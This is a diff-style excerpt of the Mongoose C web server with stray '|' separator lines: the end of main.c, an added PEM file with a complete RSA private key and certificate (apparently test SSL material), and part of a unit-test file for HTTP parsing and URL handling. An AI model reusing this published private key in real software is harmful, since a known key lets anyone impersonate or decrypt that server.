mg_md5(ha1, user, ":", domain, ":", pass, NULL);
|
||||
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
|
||||
}
|
||||
|
||||
// Close files
|
||||
fclose(fp);
|
||||
fclose(fp2);
|
||||
|
||||
// Put the temp file in place of real file
|
||||
remove(fname);
|
||||
rename(tmp, fname);
|
||||
|
||||
return 1;
|
||||
}
|
||||
#endif
|
||||
|
||||
static void start_mongoose(int argc, char *argv[]) {
|
||||
s_argv = argv;
|
||||
if ((server = mg_create_server(NULL, EV_HANDLER)) == NULL) {
|
||||
die("%s", "Failed to start Mongoose.");
|
||||
}
|
||||
|
||||
#ifndef MONGOOSE_NO_AUTH
|
||||
// Edit passwords file if -A option is specified
|
||||
if (argc > 1 && !strcmp(argv[1], "-A")) {
|
||||
if (argc != 6) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
exit(modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
|
||||
EXIT_SUCCESS : EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
|
||||
// Show usage if -h or --help options are specified
|
||||
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
set_options(argv);
|
||||
}
|
||||
|
||||
static void set_options(char *argv[]) {
|
||||
char *options[MAX_OPTIONS];
|
||||
int i;
|
||||
|
||||
options[0] = NULL;
|
||||
set_option(options, "document_root", s_default_document_root);
|
||||
set_option(options, "listening_port", s_default_listening_port);
|
||||
|
||||
// Update config based on command line arguments
|
||||
process_command_line_arguments(argv, options);
|
||||
|
||||
// Make sure we have absolute paths for files and directories
|
||||
// https://github.com/valenok/mongoose/issues/181
|
||||
set_absolute_path(options, "document_root");
|
||||
set_absolute_path(options, "dav_auth_file");
|
||||
set_absolute_path(options, "cgi_interpreter");
|
||||
set_absolute_path(options, "access_log_file");
|
||||
set_absolute_path(options, "global_auth_file");
|
||||
set_absolute_path(options, "ssl_certificate");
|
||||
|
||||
if (!path_exists(get_option(options, "document_root"), 1)) {
|
||||
set_option(options, "document_root", s_default_document_root);
|
||||
set_absolute_path(options, "document_root");
|
||||
notify("Setting document_root to [%s]",
|
||||
mg_get_option(server, "document_root"));
|
||||
}
|
||||
|
||||
// Make extra verification for certain options
|
||||
verify_existence(options, "document_root", 1);
|
||||
verify_existence(options, "cgi_interpreter", 0);
|
||||
verify_existence(options, "ssl_certificate", 0);
|
||||
|
||||
for (i = 0; options[i] != NULL; i += 2) {
|
||||
const char *msg = mg_set_option(server, options[i], options[i + 1]);
|
||||
if (msg != NULL) {
|
||||
notify("Failed to set option [%s] to [%s]: %s",
|
||||
options[i], options[i + 1], msg);
|
||||
if (!strcmp(options[i], "listening_port")) {
|
||||
mg_set_option(server, "listening_port", s_default_listening_port);
|
||||
notify("Setting %s to [%s]", options[i], s_default_listening_port);
|
||||
}
|
||||
}
|
||||
free(options[i]);
|
||||
free(options[i + 1]);
|
||||
}
|
||||
|
||||
// Change current working directory to document root. This way,
|
||||
// scripts can use relative paths.
|
||||
chdir(mg_get_option(server, "document_root"));
|
||||
|
||||
// Add an ability to pass listening socket to mongoose
|
||||
{
|
||||
const char *env = getenv("MONGOOSE_LISTENING_SOCKET");
|
||||
if (env != NULL && atoi(env) > 0 ) {
|
||||
mg_set_listening_socket(server, atoi(env));
|
||||
}
|
||||
}
|
||||
|
||||
// Setup signal handler: quit on Ctrl-C
|
||||
signal(SIGTERM, signal_handler);
|
||||
signal(SIGINT, signal_handler);
|
||||
#ifndef _WIN32
|
||||
signal(SIGCHLD, signal_handler);
|
||||
#endif
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
init_server_name();
|
||||
start_mongoose(argc, argv);
|
||||
printf("%s serving [%s] on port %s\n",
|
||||
server_name, mg_get_option(server, "document_root"),
|
||||
mg_get_option(server, "listening_port"));
|
||||
fflush(stdout); // Needed, Windows terminals might not be line-buffered
|
||||
serving_thread_func(server);
|
||||
printf("Exiting on signal %d ...", exit_flag);
|
||||
fflush(stdout);
|
||||
mg_destroy_server(&server);
|
||||
printf("%s\n", " done.");
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpQIBAAKCAQEAtafk8OvgJX6SLEtnwRmE1oEmk3zsDD0UGW+qD+DtIPOb37xR
|
||||
NIpOGFU8GXAn2GmIIkk7L53bnyh08osTnJKnhprBMDIpwZoMp4HECH4Dk0M7H2S3
|
||||
CMJRT+wYG4GJZt3Tp2U5y9T+T+4YMGCVXOOC7MiEq1nA/iQnljhhGJO61yVgDb/d
|
||||
asnI6igrDQUY30NHIBdtws2s+ysWLYh/LugLZurEtvnzwnt/qQoe7UF/MW51gvu7
|
||||
ywfSvxRksCKZKOFjLIMcEmkReA28Y+mhfKT1bjU6Gte2XZj+5f2TqYvCO+n/d5dY
|
||||
41/Nuk9ujjo/G19dUUOZu3OLL59Q9Rg+6j1FVwIDAQABAoIBAQCE7iW0v4c5KNQi
|
||||
odN9FQWGSuBF0YaStid9LZ+PGxOrp1kLcq0h+4uGdukR3GbsEN3T6S7se2H5qAtc
|
||||
abWiQBdjgt+YOz0fNXHJKkafyEcpfmtHX9YpDLmf+K7zgelgYze9KXAP3v9y0lLV
|
||||
I/hpDvwB9gJPudBmqWJmpT84UvLI+I1HtJ1Q3EgMxFSlx+TrGxqIQmYCaXIIZqdk
|
||||
c1B2neQLGZQ1Dbulr7/KYOkkcPkAQKRY73WHvhhN/0LsD25U6P00etz1VQmLBcWe
|
||||
Y9RaCBD7D3UqSat6ZABv7mtFp8USAEy4a8clayQRdolGTb+gxBUnEMDtRzwcE4zF
|
||||
uh/SGFEBAoGBAPBU/19v82Jqy41D8nqjTN6WXRX37kN1ElS5yvstIdO3oHEywll8
|
||||
tV8Bm+L0ODn/dOWmCZxKWO3hwr8KoEgk8ouv/vDsMRBuwtqZmmdtue5kPEnw3kMB
|
||||
F6RR4Pd9dqmwbF/s4NwpIVFaQEZE6JkhEsXHAJSivKm4m0MadSfm6F5BAoGBAMF/
|
||||
oArSDqsz5BvTZ3pbhUxIMY98IR7jf1ewjsgpthqZFhTggD0KxVcfUYSzg3BXUkl9
|
||||
NFKPQgfOfgW2fiEe999/CRPB0lTtlMybs3L+gb74SmUWxkVmm4mjhfnPoh9AKga2
|
||||
AFtZEcx+1bzkVvyZoSV4s0R61jJcVptutWFcDG2XAoGAKcltmad6dvtApzBQQdiQ
|
||||
7gbQ6pfwOpRpeofPbjrbrdc4s1XzCuIvGvTJqP1zpUnwhlmHREB9E+d0GAl98u1R
|
||||
qs4QEs3Ofh/0C1Q3z5H5iSSuguC5lIblGHIQHpgXAMwnG8qxEjaoj1+U22Lx2mYw
|
||||
wGiohi+BhDUP8evwwN5aOsECgYEAq3qN+2jihQhsi9hSqNW4kLyd5zmrJHOaI70d
|
||||
G/gTIQkvz3qRSwdjkWz40jBAOGu6SdRCbTP14XM2rZtntbR7GL687Zxj6M3Pg3As
|
||||
nKk9lF73lxSSy2g+SMD490TxuN4lIGNkd4+8vUxd4JM/H4aKj+mifPqbHnBEdGSt
|
||||
K0Xm4asCgYEAxM1MNlaS6BD8jLcEQZ/PX9G+ReN7u5zMiw62KQj0wsMy+p92ib1l
|
||||
Jvsv2LI4Ps6SEf4XdDctoAjgk7wsv45rS2RxiBg3wSVz5SSR513+VjlIgmNGWTlI
|
||||
U7tngF/p+qh2Kd5XtqSj5TK3Ts9UPfv3TjBe85LaxxT9WJ8SH3NiEAg=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDEjCCAfoCBRQDhmJRMA0GCSqGSIb3DQEBBQUAMFMxFDASBgNVBAMTC2Nlc2Fu
|
||||
dGEuY29tMR0wGwYDVQQKExRDZXNhbnRhIFNvZnR3YXJlIEx0ZDELMAkGA1UEBhMC
|
||||
SUUxDzANBgNVBAcTBkR1YmxpbjAeFw0xNDA2MjcxMDUwNTBaFw0yNDA2MjQxMDUw
|
||||
NTBaMEcxFTATBgNVBAMTDDE5Mi4xNjguMS4yODEQMA4GA1UEChMHRm9vK0x0ZDEL
|
||||
MAkGA1UEBhMCSUUxDzANBgNVBAcTBkdhbHdheTCCASIwDQYJKoZIhvcNAQEBBQAD
|
||||
ggEPADCCAQoCggEBALWn5PDr4CV+kixLZ8EZhNaBJpN87Aw9FBlvqg/g7SDzm9+8
|
||||
UTSKThhVPBlwJ9hpiCJJOy+d258odPKLE5ySp4aawTAyKcGaDKeBxAh+A5NDOx9k
|
||||
twjCUU/sGBuBiWbd06dlOcvU/k/uGDBglVzjguzIhKtZwP4kJ5Y4YRiTutclYA2/
|
||||
3WrJyOooKw0FGN9DRyAXbcLNrPsrFi2Ify7oC2bqxLb588J7f6kKHu1BfzFudYL7
|
||||
u8sH0r8UZLAimSjhYyyDHBJpEXgNvGPpoXyk9W41OhrXtl2Y/uX9k6mLwjvp/3eX
|
||||
WONfzbpPbo46PxtfXVFDmbtziy+fUPUYPuo9RVcCAwEAATANBgkqhkiG9w0BAQUF
|
||||
AAOCAQEAtWSuAbC62J0rdSu5GZg7k7hu6e9s11dc5PS/VRk4h+99RoLxWYO7c6Bp
|
||||
PdDGt6IAWDu2u/aowlKr0sWwThR+nAlQHlufSieS6udfFR1O6cjXa0hRUCKU5Ant
|
||||
+mgPNsfmxV6A6pBSfwgYiv6KLaCRr7tvJqyaNl0MbxMCPmUHy+/Fplab6+h91DsO
|
||||
FxECw/P73iNmSrx9sYrbl83snXMDoMgHq08LwebBcdfiKXGB7mobi0lRfNbh7rqv
|
||||
xVZZ26shxUKLZrtDH0+ACPO6/e6dogOIO9/Frlp+E955Y6F+SeF4QexfbZn5mW8X
|
||||
c7pDVtADI3bClzuYM6PPvOp+sXKM9Q==
|
||||
-----END CERTIFICATE-----
|
||||
@@ -0,0 +1,528 @@
|
||||
// Unit test for the mongoose web server.
|
||||
// g++ -W -Wall -pedantic -g unit_test.c -lssl && ./a.out
|
||||
// cl unit_test.c /MD
|
||||
|
||||
#ifndef _WIN32
|
||||
#define NS_ENABLE_IPV6
|
||||
#define NS_ENABLE_SSL
|
||||
#endif
|
||||
#define MONGOOSE_POST_SIZE_LIMIT 999
|
||||
|
||||
// USE_* definitions must be made before #include "mongoose.c" !
|
||||
#include "../mongoose.c"
|
||||
|
||||
#define FAIL(str, line) do { \
|
||||
printf("Fail on line %d: [%s]\n", line, str); \
|
||||
return str; \
|
||||
} while (0)
|
||||
|
||||
#define ASSERT(expr) do { \
|
||||
static_num_tests++; \
|
||||
if (!(expr)) FAIL(#expr, __LINE__); \
|
||||
} while (0)
|
||||
|
||||
#define RUN_TEST(test) do { const char *msg = test(); \
|
||||
if (msg) return msg; } while (0)
|
||||
|
||||
#define HTTP_PORT "45772"
|
||||
#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT
|
||||
|
||||
static int static_num_tests = 0;
|
||||
|
||||
#if 0
|
||||
// Connects to host:port, and sends formatted request to it. Returns
|
||||
// malloc-ed reply and reply length, or NULL on error. Reply contains
|
||||
// everything including headers, not just the message body.
|
||||
static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
|
||||
char buf[2000], *reply = NULL;
|
||||
int request_len, reply_size = 0, n, sock = -1;
|
||||
struct sockaddr_in sin;
|
||||
struct hostent *he = NULL;
|
||||
va_list ap;
|
||||
|
||||
if (host != NULL &&
|
||||
(he = gethostbyname(host)) != NULL &&
|
||||
(sock = socket(PF_INET, SOCK_STREAM, 0)) != -1) {
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons((uint16_t) port);
|
||||
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
|
||||
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == 0) {
|
||||
|
||||
// Format and send the request.
|
||||
va_start(ap, fmt);
|
||||
request_len = vsnprintf(buf, sizeof(buf), fmt, ap);
|
||||
va_end(ap);
|
||||
while (request_len > 0 && (n = send(sock, buf, request_len, 0)) > 0) {
|
||||
request_len -= n;
|
||||
}
|
||||
if (request_len == 0) {
|
||||
*len = 0;
|
||||
while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) {
|
||||
if (*len + n > reply_size) {
|
||||
// Leak possible
|
||||
reply = (char *) realloc(reply, reply_size + sizeof(buf));
|
||||
reply_size += sizeof(buf);
|
||||
}
|
||||
if (reply != NULL) {
|
||||
memcpy(reply + *len, buf, n);
|
||||
*len += n;
|
||||
}
|
||||
}
|
||||
}
|
||||
closesocket(sock);
|
||||
}
|
||||
}
|
||||
|
||||
return reply;
|
||||
}
|
||||
#endif
|
||||
|
||||
static char *read_file(const char *path, int *size) {
|
||||
FILE *fp;
|
||||
struct stat st;
|
||||
char *data = NULL;
|
||||
if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
|
||||
*size = (int) st.st_size;
|
||||
data = (char *) malloc(*size);
|
||||
fread(data, 1, *size, fp);
|
||||
fclose(fp);
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static const char *test_parse_http_message() {
|
||||
struct mg_connection ri;
|
||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
|
||||
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
|
||||
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
|
||||
char req5[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req6[] = "G";
|
||||
char req7[] = " blah ";
|
||||
char req8[] = " HTTP/1.1 200 OK \n\n";
|
||||
char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
|
||||
|
||||
ASSERT(get_request_len("\r\n", 3) == -1);
|
||||
ASSERT(get_request_len("\r\n", 2) == 0);
|
||||
ASSERT(get_request_len("GET", 3) == 0);
|
||||
ASSERT(get_request_len("\n\n", 2) == 2);
|
||||
ASSERT(get_request_len("\n\r\n", 3) == 3);
|
||||
ASSERT(get_request_len("\xdd\xdd", 2) == 0);
|
||||
ASSERT(get_request_len("\xdd\x03", 2) == -1);
|
||||
ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0);
|
||||
ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0);
|
||||
ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0);
|
||||
|
||||
ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1);
|
||||
ASSERT(ri.num_headers == 1);
|
||||
|
||||
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1);
|
||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||
ASSERT(ri.num_headers == 0);
|
||||
|
||||
ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1);
|
||||
ASSERT(parse_http_message(req6, 0, &ri) == -1);
|
||||
ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1);
|
||||
|
||||
// TODO(lsm): Fix this. Header value may span multiple lines.
|
||||
ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1);
|
||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||
ASSERT(ri.num_headers == 3);
|
||||
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
|
||||
|
||||
ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1);
|
||||
ASSERT(strcmp(ri.request_method, "GET") == 0);
|
||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_should_keep_alive(void) {
|
||||
struct mg_connection conn;
|
||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req2[] = "GET / HTTP/1.0\r\n\r\n";
|
||||
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
|
||||
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
|
||||
|
||||
memset(&conn, 0, sizeof(conn));
|
||||
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1);
|
||||
ASSERT(should_keep_alive(&conn) != 0);
|
||||
|
||||
parse_http_message(req2, sizeof(req2) - 1, &conn);
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
parse_http_message(req3, sizeof(req3) - 1, &conn);
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
parse_http_message(req4, sizeof(req4) - 1, &conn);
|
||||
ASSERT(should_keep_alive(&conn) != 0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_match_prefix(void) {
|
||||
ASSERT(mg_match_prefix("/api", 4, "/api") == 4);
|
||||
ASSERT(mg_match_prefix("/a/", 3, "/a/b/c") == 3);
|
||||
ASSERT(mg_match_prefix("/a/", 3, "/ab/c") == -1);
|
||||
ASSERT(mg_match_prefix("/*/", 3, "/ab/c") == 4);
|
||||
ASSERT(mg_match_prefix("**", 2, "/a/b/c") == 6);
|
||||
ASSERT(mg_match_prefix("/*", 2, "/a/b/c") == 2);
|
||||
ASSERT(mg_match_prefix("*/*", 3, "/a/b/c") == 2);
|
||||
ASSERT(mg_match_prefix("**/", 3, "/a/b/c") == 5);
|
||||
ASSERT(mg_match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
|
||||
ASSERT(mg_match_prefix("a|b|cd", 6, "cdef") == 2);
|
||||
ASSERT(mg_match_prefix("a|b|c?", 6, "cdef") == 2);
|
||||
ASSERT(mg_match_prefix("a|?|cd", 6, "cdef") == 1);
|
||||
ASSERT(mg_match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
|
||||
ASSERT(mg_match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
|
||||
ASSERT(mg_match_prefix("**/", 3, "/a/b/c") == 5);
|
||||
ASSERT(mg_match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||
ASSERT(mg_match_prefix("**/$", 4, "/a/b/") == 5);
|
||||
ASSERT(mg_match_prefix("$", 1, "") == 0);
|
||||
ASSERT(mg_match_prefix("$", 1, "x") == -1);
|
||||
ASSERT(mg_match_prefix("*$", 2, "x") == 1);
|
||||
ASSERT(mg_match_prefix("/$", 2, "/") == 1);
|
||||
ASSERT(mg_match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||
ASSERT(mg_match_prefix("**/$", 4, "/a/b/") == 5);
|
||||
ASSERT(mg_match_prefix("*", 1, "/hello/") == 0);
|
||||
ASSERT(mg_match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
|
||||
ASSERT(mg_match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
|
||||
ASSERT(mg_match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
|
||||
ASSERT(mg_match_prefix("**o$", 4, "HELLO") == 5);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_remove_double_dots() {
|
||||
struct { char before[20], after[20]; } data[] = {
|
||||
{"////a", "/a"},
|
||||
{"/.....", "/."},
|
||||
{"/......", "/"},
|
||||
{"...", "..."},
|
||||
{"/...///", "/./"},
|
||||
{"/a...///", "/a.../"},
|
||||
{"/.x", "/.x"},
|
||||
{"/\\", "/"},
|
||||
{"/a\\", "/a\\"},
|
||||
{"/a\\\\...", "/a\\."},
|
||||
};
|
||||
size_t i;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(data); i++) {
|
||||
remove_double_dots_and_double_slashes(data[i].before);
|
||||
ASSERT(strcmp(data[i].before, data[i].after) == 0);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_get_var(void) {
|
||||
static const char *post[] = {
|
||||
"a=1&&b=2&d&=&c=3%20&e=",
|
||||
"q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
|
||||
NULL
|
||||
};
|
||||
char buf[20];
|
||||
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
|
||||
ASSERT(buf[0] == '1' && buf[1] == '\0');
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
|
||||
ASSERT(buf[0] == '2' && buf[1] == '\0');
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
|
||||
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
|
||||
ASSERT(buf[0] == '\0');
|
||||
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
|
||||
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
|
||||
ASSERT(get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
|
||||
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
|
||||
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_url_decode(void) {
|
||||
char buf[100];
|
||||
|
||||
ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1); // No space for \0
|
||||
ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
|
||||
ASSERT(strcmp(buf, "foo") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
|
||||
ASSERT(strcmp(buf, "a+") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
|
||||
ASSERT(strcmp(buf, "a ") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
|
||||
ASSERT(strcmp(buf, "%") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
|
||||
ASSERT(strcmp(buf, "%6") == 0);
|
||||
|
||||
ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
|
||||
ASSERT(strcmp(buf, "a") == 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_url_encode(void) {
|
||||
char buf[100];
|
||||
ASSERT(mg_url_encode("", 0, buf, sizeof(buf)) == 0);
|
||||
ASSERT(buf[0] == '\0');
|
||||
ASSERT(mg_url_encode("foo", 3, buf, sizeof(buf)) == 3);
|
||||
ASSERT(strcmp(buf, "foo") == 0);
|
||||
ASSERT(mg_url_encode("f o", 3, buf, sizeof(buf)) == 5);
|
||||
ASSERT(strcmp(buf, "f%20o") == 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_to64(void) {
|
||||
ASSERT(to64("0") == 0);
|
||||
ASSERT(to64("") == 0);
|
||||
ASSERT(to64("123") == 123);
|
||||
ASSERT(to64("-34") == -34);
|
||||
ASSERT(to64("3566626116") == 3566626116);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_base64_encode(void) {
|
||||
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
|
||||
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
|
||||
char buf[100];
|
||||
int i;
|
||||
|
||||
for (i = 0; in[i] != NULL; i++) {
|
||||
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
|
||||
ASSERT(!strcmp(buf, out[i]));
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_mg_parse_header(void) {
|
||||
const char *str = "xx=1 kl yy, ert=234 kl=123, "
|
||||
"ii=\"12\\\"34\" zz='aa bb',tt=2,gf=\"xx d=1234";
|
||||
char buf[10];
|
||||
ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
|
||||
ASSERT(strcmp(buf, "234") == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, 2) == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, 3) == 0);
|
||||
ASSERT(mg_parse_header(str, "ert", buf, 4) == 3);
|
||||
ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0);
|
||||
ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5);
|
||||
ASSERT(strcmp(buf, "aa bb") == 0);
|
||||
ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4);
|
||||
ASSERT(strcmp(buf, "1234") == 0);
|
||||
buf[0] = 'x';
|
||||
ASSERT(mg_parse_header(str, "MMM", buf, sizeof(buf)) == 0);
|
||||
ASSERT(buf[0] == '\0');
|
||||
ASSERT(mg_parse_header(str, "kl", buf, sizeof(buf)) == 3);
|
||||
ASSERT(strcmp(buf, "123") == 0);
|
||||
ASSERT(mg_parse_header(str, "xx", buf, sizeof(buf)) == 1);
|
||||
ASSERT(strcmp(buf, "1") == 0);
|
||||
ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5);
|
||||
ASSERT(strcmp(buf, "12\"34") == 0);
|
||||
ASSERT(mg_parse_header(str, "tt", buf, sizeof(buf)) == 1);
|
||||
ASSERT(strcmp(buf, "2") == 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_next_option(void) {
|
||||
const char *p, *list = "x/8,/y**=1;2k,z";
|
||||
struct vec a, b;
|
||||
int i;
|
||||
|
||||
ASSERT(next_option(NULL, &a, &b) == NULL);
|
||||
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
|
||||
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
|
||||
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
|
||||
b.len == 4));
|
||||
|
||||
ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int evh1(struct mg_connection *conn, enum mg_event ev) {
|
||||
char *buf = (char *) conn->connection_param;
|
||||
int result = MG_FALSE;
|
||||
|
||||
switch (ev) {
|
||||
case MG_CONNECT:
|
||||
mg_printf(conn, "GET %s HTTP/1.0\r\n\r\n",
|
||||
buf[0] == '1' ? "/cb1" : "/non_exist");
|
||||
result = MG_TRUE;
|
||||
break;
|
||||
case MG_HTTP_ERROR:
|
||||
mg_printf(conn, "HTTP/1.0 404 NF\r\n\r\nERR: %d", conn->status_code);
|
||||
result = MG_TRUE;
|
||||
break;
|
||||
case MG_REQUEST:
|
||||
if (!strcmp(conn->uri, "/cb1")) {
|
||||
mg_printf(conn, "HTTP/1.0 200 OK\r\n\r\n%s %s %s",
|
||||
(char *) conn->server_param,
|
||||
buf == NULL ? "?" : "!", conn->remote_ip);
|
||||
result = MG_TRUE;
|
||||
}
|
||||
break;
|
||||
case MG_REPLY:
|
||||
if (buf != NULL) {
|
||||
sprintf(buf + 1, "%.*s", (int) conn->content_len, conn->content);
|
||||
}
|
||||
break;
|
||||
case MG_AUTH:
|
||||
result = MG_TRUE;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static const char *test_server(void) {
|
||||
char buf1[100] = "1", buf2[100] = "2";
|
||||
struct mg_server *server = mg_create_server((void *) "foo", evh1);
|
||||
struct mg_connection *conn;
|
||||
|
||||
ASSERT(server != NULL);
|
||||
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
|
||||
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
|
||||
|
||||
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0)) != NULL);
|
||||
conn->connection_param = buf1;
|
||||
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0)) != NULL);
|
||||
conn->connection_param = buf2;
|
||||
|
||||
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
|
||||
ASSERT(strcmp(buf1, "1foo ? 127.0.0.1") == 0);
|
||||
ASSERT(strcmp(buf2, "2ERR: 404") == 0);
|
||||
|
||||
ASSERT(strcmp(static_config_options[URL_REWRITES * 2], "url_rewrites") == 0);
|
||||
mg_destroy_server(&server);
|
||||
ASSERT(server == NULL);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#define DISP "Content-Disposition: form/data; "
|
||||
#define CRLF "\r\n"
|
||||
#define BOUNDARY "--xyz"
|
||||
static const char *test_parse_multipart(void) {
|
||||
char a[100], b[100];
|
||||
const char *p;
|
||||
static const char f1[] = BOUNDARY CRLF DISP "name=f1" CRLF CRLF
|
||||
"some_content" CRLF BOUNDARY CRLF
|
||||
BOUNDARY CRLF DISP "name=f2; filename=\"foo bar.txt\"" CRLF CRLF
|
||||
"another_content" CRLF BOUNDARY CRLF
|
||||
"--" CRLF;
|
||||
int n, n2, len, f1_len = sizeof(f1) - 1;
|
||||
|
||||
ASSERT(mg_parse_multipart("", 0, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
|
||||
